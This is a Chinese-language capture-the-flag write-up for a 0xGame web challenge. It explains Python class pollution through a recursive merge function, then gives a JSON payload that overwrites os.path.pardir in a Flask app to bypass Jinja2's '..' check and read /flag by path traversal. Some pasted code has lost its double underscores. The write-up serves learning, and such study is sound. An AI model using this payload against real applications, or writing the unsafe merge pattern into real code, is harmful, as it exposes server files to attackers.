0xgame week1 web题 ,刚开始接触web安全时照着学长的wp复现,其实就是直接把payload复制粘贴当时也完全没理解这样做的意义,这两天翻出来发现还是不理解,找到了一些文章了解了Python原型链污染,试着自己写一篇wp强化记忆
Python原型链污染基础 Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法
危险代码 这里对应的merge函数就是python中对属性值控制的一个操作,非常经典
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src,dst ): for k,v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
代码解读
对merge函数我们传入了两个参数:
src:需要更新,合并的数据
dst:被更新,合并的对象
for k,v in src.items():
对src进行遍历取出每对键值对
1 2 3 4 5 if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v
分支1:检测是否含有getitem属性,以此来判断dst是否为字典
检测dst中是否存在属性k且value是否是一个字典
是:嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来
否:直接将src中k对应的v值赋给dst中的k属性
1 2 elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k))
分支2:dst不为字典,但是dst中有k属性,且v为字典
取出dst的k属性,进行merge嵌套
1 2 else : setattr (dst, k, v)
直接设置k属性并赋值
简单例子 1 2 3 4 5 6 a = {'x' : 1 , 'nested' : {'a' : 1 }} b = {'y' : 2 , 'nested' : {'b' : 2 }} merge (a, b)print(b) {'y' : 2 , 'nested' : {'b' : 2 , 'a' : 1 }, 'x' : 1 }
总结归纳 递归合并 src 到 dst。
- 如果 src 和 dst 中同名项都是 dict,则递归合并
- 否则,src 的值覆盖 dst 的值
支持 dst 为 dict 或普通对象。
污染过程分析 例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 class father : secret = "hello" class son_a (father ): pass class son_b (father ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "world" } } } print (son_a.secret)print (instance.secret)merge(payload, instance) print (son_a.secret)print (instance.secret)
原因分析
执行merge(payload, instance)后,instance发生了污染
取出instance没有__getitem__方法,进入 elif hasattr(instance, "class") and type(v)==dict
调用 merge(v, getattr(instance, "class")),拿到son_b()类
相似的,调用 merge(v, getattr(son_b, "base")),拿到了son_b()继承的父类father
最后k="secret", v="world",由于v类型不为dict进入else块,执行执行:setattr(father, "secret", "world")
至此father类的secret属性成功被污染为world
访问 son_a.secret 时,Python 会沿 MRO(方法解析顺序)查找,最终找到 father.secret
正式解题 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask,request,render_templateimport jsonimport osapp = Flask(name) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, 'getitem' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class Dst (): def init (self ): pass Game0x = Dst() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html" , Game0x=Game0x) @app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "Not Found" , 404 return render_template(path) if name == 'main' : app.run(host='0.0.0.0' , port=9000 ,debug=True )
尝试 题目明显提示flag就在/flag里,我们尝试直接进行目录穿越,显示404
分析 os.path.pardir这个 os 模块下的变量会影响 flask 的模板渲染函数 render_template 的解析
我们找到Lib\site-packages\jinja2\loaders.py下的split_template_path函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def split_template_path (template: str ) -> t.List [str ]: """Split a path into segments and perform a sanity check. If it detects '..' in the path it will raise a `TemplateNotFound` error. """ pieces = [] for piece in template.split("/" ): if ( os.path.sep in piece or (os.path.altsep and os.path.altsep in piece) or piece == os.path.pardir ): raise TemplateNotFound(template) elif piece and piece != "." : pieces.append(piece) return pieces
可以看到该函数把我们访问的路径以’/‘分隔,当piece == os.path.pardir时,直接抛出 TemplateNotFound
而os.path.pardir父目录的值为’..’,结合题目中的merge(json.loads(request.data), Game0x),我们可以拿到os模块构造payload污染os.path.pardir的值
payload 1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "pollution" } } } } }
这样把os.path.pardir的值污染返回完整的pieces,从而到达目录穿越的目的
flag post发包,把Content-Type改为json再访问目录../../flag即可